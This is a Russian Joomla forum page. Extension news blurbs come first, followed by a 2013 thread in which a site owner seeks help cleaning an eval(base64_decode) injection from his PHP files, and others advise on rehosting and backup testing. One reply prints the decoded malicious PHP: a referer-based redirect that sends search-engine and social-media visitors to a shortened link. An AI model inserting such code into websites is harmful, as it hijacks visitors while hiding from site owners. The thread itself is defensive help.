Новости Joomla

Вышла новая версия joomLab Article Slider 1.1.0

Вышла новая версия joomLab Article Slider 1.1.0

Модуль joomLab Article Slider загружает материалы динамически (ajax), что позволит максимально увеличить скорость загрузки страницы, если на ней используется много контентных модулей, а в каждом таком модуле выводится много материалов. 
Так же после загрузки модуля, любой пользователь Вашего сайта, может отфильтровать материалы  в модуле  по категориям и/или тегам.
Материалы в модуле выводятся в виде адаптивного слайд-шоу (используется swiper.js).

Что нового?

Добавлена возможность ajax фильтрации материалов по категориям и/или тегам в любом модуле на странице сайта

Скачать модуль > https://joomlab.ru/extentions/modules/joomlab-article-slider
Демо > https://demo.joomlab.ru/ajax-article

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 22 Ответов
  • 4950 Просмотров
*

altux

  • Новичок
  • 7
  • 0 / 0
Вредоносный код в php
« : 04.04.2013, 20:28:53 »
Здравствуйте.
Во всех файлах php появился вредоносный код eval(base64_decode("DQ..."));

Сделал резервную копию сайта. Выгрузил на локальный компьютер. Почистил все php файлы (по крайней мере мне так кажется). Их оказалось более 2000. Это много или мало? Я не специалист. Пользовался программой regexxer из под Линукс. Теперь не знаю как это все загрузить обратно. А админ. панели Joomla  нет доступа к функции "управление резервными копиями" (Хотел загрузить по ftp архив на сайт и там уже восстановить). Выходит белый экран. Также не могу закрыть сайт на тех.обслуживание. Тот же белый экран. Не сохраняются изменения.
Что будет если я этот бэкап (в смысле разархивированный) загружу просто поверх на свой сайт по ftp?
Или уж думаю саму Jooml-y full package также перезалить поверх. Перечитал весь форум. В голове перемешалось столько информации что я не знаю что делать :(
« Последнее редактирование: 07.04.2013, 13:17:20 от altux »
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #1 : 04.04.2013, 21:35:02 »
Варез на сайте установлен?
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #2 : 04.04.2013, 22:48:25 »
Вареза на сайте нет. Был очень старый JCE оказывается. Вычитал на форуме про его уязвимость. сейчас удалил.
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #3 : 04.04.2013, 22:56:41 »
Первым делом я бы порекомендовал обязательно поставить в известность своего хостера и попытаться деликатно заручиться его поддержкой прежде всего.

Файлы системы Joomla никогда не проблема перезалить, но это не избавит от вируса, если он сидит вне системы, где-нибудь в папке типа /etc или ей подобной. В таком случае надежда только на профессионализм и честность хостера.

В идеале, чтобы не играть в русскую рулетку со своим сайтом, я бы уже сейчас стал готовиться к переезду на новый хостинг, чтобы запустить на нем свою систему с нуля.
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #4 : 04.04.2013, 22:59:30 »
хостера я поставил в известность. они сказали что помочь не могут. не прямо конечно. кстати хостера можно указать?
Записан
*

capricorn

  • Завсегдатай
  • 1949
  • 118 / 3
Re: Вредоносный код в php
« Ответ #5 : 04.04.2013, 22:59:59 »
Вам всадили перенаправление:

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
$referer=$_SERVER['HTTP_REFERER'];
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){      
      header("Location: http://tinyurl.com/aelnwj4");
      exit();
   }
}

}

Делайте так, как вам советуют выше.
« Последнее редактирование: 04.04.2013, 23:03:20 от capricorn »
Записан
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #6 : 04.04.2013, 23:02:30 »
да. я уже понял об этом. думаю зря не пользовался яндексом. через Google не происходит перенапрвления. про него забыли чтоли
Записан
*

capricorn

  • Завсегдатай
  • 1949
  • 118 / 3
Re: Вредоносный код в php
« Ответ #7 : 04.04.2013, 23:18:48 »
Вы должны регулярно делать рабочие бэкапы сайта и проверять их на восстановление. Только восстановленный бэкап - рабочий.

Вы также должны понимать, что причин взлома может быть много. Не только JCE.

В вашем случае, если так далеко зашло, закажите чистку сайта специалистам.
Записан
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #8 : 04.04.2013, 23:28:50 »
Кстати есть бэкап. Правда давний. Вот сейчас наверное глупость ляпну. Если я сохраню базу данных. Потом восстановлю сайт из бэкапа. Я сравнивал старый бэкап с нынешним состоянием там нет такого кода. И затем восстановлю эту базу то так много информации потеряется? Или же такнельзя сделать?
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #9 : 04.04.2013, 23:32:55 »
@ capricorn,

Вы правы насчет тестирования резервного копирования, но с Вашей рекомендацией по специалистам я не соглашаюсь.
Безопасность сайта - это то,  что должно быть под контролем каждого администратора Joomla прежде всего. Можно простить незнание основ оптимизации производительности сайта или его SEO, но безопасность наших сайтов - это наша личная наиглавнейшая обязанность.

Я бы порекомендовал принять этот взлом как возможность извлечь важные уроки и возрасти профессионально. Помощь сторонних спецов - это опять же игра в рулетку, где Вы отдаете безопасность веб сайта как минимум на следующих год в руки посторонних людей.  Доверять мониторинг популярному и хорошо отрегулированному сервису - это еще можно понять, но взломанный сайт? Не думаю.

@ altux,
Все указывает на переезд на новый хостинг. Это -  со стороны сайта.

Что касается вне него, то я бы порекомендовал поменять все напрямую или косвенно относящиеся к веб сайту пароли, провести глубокое форматирование своего жесткого диска и переустановить свою операционную систему, даже если она у Вас -  один из ароматов Linux, как, к примеру, Ubuntu, OpenSUSE или Mint...
« Последнее редактирование: 05.04.2013, 00:43:47 от AlexSmirnov »
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

capricorn

  • Завсегдатай
  • 1949
  • 118 / 3
Re: Вредоносный код в php
« Ответ #10 : 05.04.2013, 00:14:16 »
Цитировать
Вы правы насчет тестирования резервного копирования, но с Вашей рекомендацией по специалистам я не соглашаюсь.

Сейчас вопрос стоит в восстановлении пораженного сайта. А мораль уместна после этого. Прошу прощения.


Записан
*

capricorn

  • Завсегдатай
  • 1949
  • 118 / 3
Re: Вредоносный код в php
« Ответ #11 : 05.04.2013, 00:16:23 »
Цитата: altux от 04.04.2013, 23:28:50
Кстати есть бэкап. Правда давний. Вот сейчас наверное глупость ляпну. Если я сохраню базу данных. Потом восстановлю сайт из бэкапа. Я сравнивал старый бэкап с нынешним состоянием там нет такого кода. И затем восстановлю эту базу то так много информации потеряется? Или же такнельзя сделать?

Можно. При этом потеряете контент, как самый худший результат. Но главное - следовать рекомендациям по обеспечению безопасности.
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #12 : 05.04.2013, 00:35:39 »
Цитата: capricorn от 05.04.2013, 00:14:16
...Прошу прощения.

Я не вижу о чем Вам стоит извиняться.

Цитата: capricorn от 05.04.2013, 00:14:16
...восстановлении пораженного сайта.

Я не в коей мере не отрицаю и не умаляю рациональное зерно в Вашей рекомендации о найме сторонних специалистов, но имхо такая стратегия больше подходит бизнесу, где для этого предусмотрен соответствующий бюджет.

Цитата: capricorn от 05.04.2013, 00:14:16
... А мораль уместна после этого...

Имхо, вся мораль ситуации автора темы в том, чтобы ему лично с головой оказаться в середине этой ситуации и действовать. Установить систему с нуля на новом хостинге, нарастить ее последними версиями своих расширений и импортировать в нее предварительно проверенную старую базу данных - все дела. И Яндекс - Ваш дядя ;)
« Последнее редактирование: 05.04.2013, 00:45:40 от AlexSmirnov »
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #13 : 05.04.2013, 00:41:53 »
Цитата: altux от 04.04.2013, 23:28:50
Кстати есть бэкап. Правда давний...

Я бы не поставил и мои тапочки на кон за Ваш бэкап. С ним Вы опять же будете играть в русскую рулетку. Одно дело, когда Вы резервируете свой сайт каждую ночь, с соответствующим тестированием создаваемых резервных архивов, и в определенный день обнаруживаете взлом. В такой ситуации можно будет довериться бэкапу и откатиться на день-два-три назад. Но это же не Ваш сценарий.
« Последнее редактирование: 05.04.2013, 16:09:33 от AlexSmirnov »
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

capricorn

  • Завсегдатай
  • 1949
  • 118 / 3
Re: Вредоносный код в php
« Ответ #14 : 05.04.2013, 00:59:09 »
Цитировать
Я не в коей мере не отрицаю и не умаляю рациональное зерно в Вашей рекомендации о найме сторонних специалистов, но имхо такая стратегия больше подходит бизнесу, где для этого предусмотрен соответствующий бюджет.

На мой взгляд, ТС может отделаться парой тысяч рублей, мне кажется это был примитивный взлом.
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #15 : 05.04.2013, 01:09:17 »
Цитата: capricorn от 05.04.2013, 00:59:09
...мне кажется это был примитивный взлом.

я бы хотел разделить с Вами этот оптимизм, но у нас нет для этого твердых и голых объективных данных.

Цитата: capricorn от 05.04.2013, 00:59:09
На мой взгляд, ТС может отделаться парой тысяч рублей...

я лично ценю безопасность веб сайта выше, как мнимум в два три раза, но имхо, главная ценность здесь - в обретаемом самим владельцем сайта опыте.
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

Adrian1111

  • Захожу иногда
  • 271
  • 1 / 0
Re: Вредоносный код в php
« Ответ #16 : 05.04.2013, 16:07:57 »
Цитата: AlexSmirnov от 05.04.2013, 00:41:53
Я бы не поставил и мои тапочки на кон за Ваш бэкап. С ним Вы опять же будете играть в русскую рулетку. Одно дело, когда Вы резервируете свой сайт каждый день, с соответствующим тестированием создаваемых резервных архивов...

А можно для новичка уточнить, что значит "тестирование бэкапа"? Устанавливать бэкап на левый домен, чтобы опробовать его работоспособность? Разве бэкапы могут быть неполными? Я скачиваю с ftp хостинга бэкапы, но проверять на работоспособность не приходилось - как правило, если нужно, то восстанавливает хостер со своих бэкапов. А так, иди знай, рабочий он или...
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #17 : 05.04.2013, 16:15:02 »
Под "бэкап" или, избегая технический жаргон, "резервная копия сайта", в контексте системы Joomla в подавляющем большинстве случаев подразумевается полная копия веб сайта, созданная как правило популярным и проверенным компонентом "Akeeba Backup".

Под "тестирование бэкапа" я подразумевал удаленное тестирование созданной этим компонентом копии Вашего веб сайта в каком-либо его специально для этой цели созданном каталоге, как, к примеру, в каталоге /testme.
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #18 : 05.04.2013, 20:05:51 »
Извините, а можно поподробнее? Как это в специальном каталоге? Я уже хотел создать виртуальную машину, установить там денвер. И уже там тестировать бэкап.
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #19 : 05.04.2013, 21:21:10 »
Местно? А почему бы и нет. Это будет неплохо для Вашей практики, но все же, поскольку конфигурация Вашего местного и удаленного серверов отличаются, можно, поиграв со своим бэкапом местно, перекинуть его на удаленный.

Теперь по поводу каталога тестирования.

В настоящее время  дерево файлов и каталогов Вашего удаленного веб сайта в алфавитном порядке выглядит таким образом:

/administrator/
/caсhe/
/cli/
/components/
и так далее

создайте здесь же, на этом же уровне каталог, к примеру
/testmybackup/

Затем, создав предварительно отдельную временную базу данных 'testmybackup', загрузите в каталог 'testmybackup'  архив созданного с помощью компонента 'Akeeba Backup' бэкапа, распакуйте его там, закройте его от индексации  поисковыми роботами в файле robots.txt

User-agent: *
Disallow: /

Затем, направьте свой браузер на <адрес-вашего-вебсайта>.ru/testmybackup, выполните указания установщика расширений и при успешной установке сайта протестируйте его функционал. Вот и все.

Надеюсь это поможет.
« Последнее редактирование: 06.04.2013, 22:56:49 от AlexSmirnov »
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
*

Adrian1111

  • Захожу иногда
  • 271
  • 1 / 0
Re: Вредоносный код в php
« Ответ #20 : 08.04.2013, 13:10:49 »
Цитата: AlexSmirnov от 05.04.2013, 21:21:10

В настоящее время  дерево файлов и каталогов Вашего удаленного веб сайта в алфавитном порядке выглядит таким образом:

/administrator/
/caсhe/
/cli/
/components/
и так далее

создайте здесь же, на этом же уровне каталог, к примеру
/testmybackup/

Затем, создав предварительно отдельную временную базу данных 'testmybackup', загрузите в каталог 'testmybackup'  архив созданного с помощью компонента 'Akeeba Backup' бэкапа, распакуйте его там, закройте его от индексации  поисковыми роботами в файле robots.txt

User-agent: *
Disallow: /

Затем, направьте свой браузер на <адрес-вашего-вебсайта>.ru/testmybackup, выполните указания установщика расширений и при успешной установке сайта протестируйте его функционал. Вот и все.

Надеюсь это поможет.

Спасибо за такое простое решение.
Записан
*

altux

  • Новичок
  • 7
  • 0 / 0
Re: Вредоносный код в php
« Ответ #21 : 29.04.2013, 14:53:19 »
Все таки я смог восстановить свой сайт  ^-^. Большое спасибо AlexSmirnov и capricorn за ваше участие.
Записан
*

AlexSmirnov

  • Завсегдатай
  • 1862
  • 272 / 16
  • Ищите и найдете
Re: Вредоносный код в php
« Ответ #22 : 29.04.2013, 14:59:57 »
Нет проблем. Успехов с сайтом ;)
Записан
# Back the fufalo (особенно ту самую столкершу)! #
# ВАЖНО! Кайфую от удаления присланного в личку спама, почти как от любви (особенно по выходным). #
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

В файле index.php постоянно появляется вредоносный код

Автор Armal

 Ответов: 29
Просмотров: 5723 		Последний ответ 08.05.2021, 16:16:32
от gartes
Вредоносный код в url после якоря #

Автор dm-krv

 Ответов: 7
Просмотров: 2305 		Последний ответ 10.07.2018, 14:12:29
от dm-krv
TIMEWEB> Обнаружен вредоносный код

Автор nikinfo

 Ответов: 6
Просмотров: 3419 		Последний ответ 16.12.2015, 12:38:46
от flyingspook
Сайт взломан, не могу найти вредоносный код

Автор Larisa

 Ответов: 15
Просмотров: 3092 		Последний ответ 06.04.2015, 18:51:20
от SeBun
Где искать вредоносный код

Автор sea_dream

 Ответов: 6
Просмотров: 2333 		Последний ответ 24.09.2014, 21:22:25
от Rival